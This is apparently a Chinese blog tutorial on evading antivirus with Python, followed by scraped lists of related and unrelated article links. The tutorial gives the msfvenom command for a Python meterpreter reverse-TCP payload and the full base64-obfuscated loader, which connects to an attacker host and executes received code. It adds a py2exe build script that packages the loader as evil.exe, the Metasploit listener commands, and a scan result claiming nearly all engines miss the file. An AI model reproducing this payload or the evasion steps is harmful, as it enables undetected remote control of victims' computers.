使用Python进行防病毒免杀
很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?
打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。
0x01 环境准备
1、软件安装
Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
Py2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
2、msfvenom生成Python Payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py


evil.py 代码如下:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
0x02 py2exe 打包Python程序
将evil.py复制到windows,同时创建一个setup.py文件:
from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
下面的方法运行 evil.py,生成可执行文件。
python ./setup.py py2exe


0x03 设置监听端口
Kali 运行Metasploit,设置监听:
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.28.128
set LPORT 443
run
在Windows中运行evil.exe,获得一个meterpreter的会话

0x04 免杀验证
确认生成的exe文件可正常工作,接下来对evil.exe进行在线病毒扫描,以确认免杀效果如何。
这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎
扫描结果:47款杀毒引擎中,只有一个引擎报毒,主流的杀毒软件全部绕过。
网站地址:http://www.virscan.org


参考文章:
https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
使用Python进行防病毒免杀的更多相关文章
- Python 加密 shellcode 免杀
Python 加密 shellcode 免杀 环境准备: Windows7 32 位系统: Shellcode 使用 kali linux Metasploit 生成 shellcode Wind ...
- go免杀初探
0x01 go免杀 由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip.尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了 ...
- 《Python绝技:运用Python成为顶级黑客》 用Python实现免杀
1.免杀的过程: 使用Metasploit生成C语言风格的一些shellcode作为载荷,这里使用Windows bindshell,功能为选定一个TCP端口与cmd.exe进程绑定在一起,方便攻击者 ...
- Metasploit+python生成免杀exe过360杀毒
Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- 后门免杀工具-Backdoor-factory
水一水最近玩的工具 弄dll注入的时候用到的 介绍这款老工具 免杀效果一般..但是简单实用 目录: 0x01 backdoor-factory简介 0x02 特点功能 0x03 具体参数使用 PS: ...
- 附件携马之CS免杀shellcode过国内主流杀软
0x01 写在前面 其实去年已经写过类似的文章,但是久没用了,难免有些生疏.所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面. 0x0 ...
- 免杀后门之MSF&Veil-Evasion的完美结合
本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...
- Atitit.木马病毒的免杀原理---sikuli 的使用
Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...
随机推荐
- SpringBoot之ActiveMQ实现延迟消息
一.安装activeMQ 安装步骤参照网上教程,本文不做介绍 二.修改activeMQ配置文件 broker新增配置信息 schedulerSupport="true" & ...
- Vue躬行记(7)——渲染函数和JSX
除了可通过模板创建HTML之外,Vue还提供了渲染函数和JSX,前者的编码自由度很高,后者对于开发过React的人来说会很熟悉.注意,Vue的模板最终都会被编译成渲染函数. 一.渲染函数 虽然在大部分 ...
- Anaconda的安装和详细介绍(带图文)
Anacond的介绍 Anaconda指的是一个开源的Python发行版本,其包含了conda.Python等180多个科学包及其依赖项. 因为包含了大量的科学包,Anaconda 的下载文件比较大( ...
- 0911作业-if while循环小练习
输入姑娘的年龄后,进行以下判断: 如果姑娘小于18岁,打印"不接受未成年" 如果姑娘大于18岁小于25岁,打印"心动表白" 如果姑娘大于25岁小于45岁,打印& ...
- React第一次渲染为何容易出现TypeError: Cannot read property 'XX' of undefined
此题可能大家会不屑一顾,哎,错误都给你怼脸上了你还不会嘛,其实大家有没有认真思考过这其中的原因.先上一张错误图,剩余的全靠编.没兴趣看图的老铁们可以拉到最底下直接看结论 错误: 代码: 其次,我再把 ...
- T-SQL Part XII: Access Remote SQL Server
要链接远程的SQL Server,需要一下几个步骤(以下的步骤都是在远程系统上进行): 确认远程SQL Server所监听的端口号 官方的文档是使用SQL Server Configuration M ...
- (C#)WPF:LinearGradientBrush的使用
在MSDN文档库里可以查到,Rectangle.Fill的类型是Brush.Brush是一个抽象类,凡是以Brush为基类的类都可作为Fill属性的值.Brush的派生类有很多: * SolidCol ...
- 导入maven项目pom报错
打开window->preferences->maven->user settings更换settings.xml即可
- pod删除主要流程源码解析
本文以v1.12版本进行分析 当一个pod删除时,client端向apiserver发送请求,apiserver将pod的deletionTimestamp打上时间.kubelet watch到该事件 ...
- 01-MongoDB数据库基础
一.MongoDB数据库基础 1.MongoDB数据库介绍 什么是MongoDB? MongoDB是非关系型数据库中的一种,是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统.在高负载的情 ...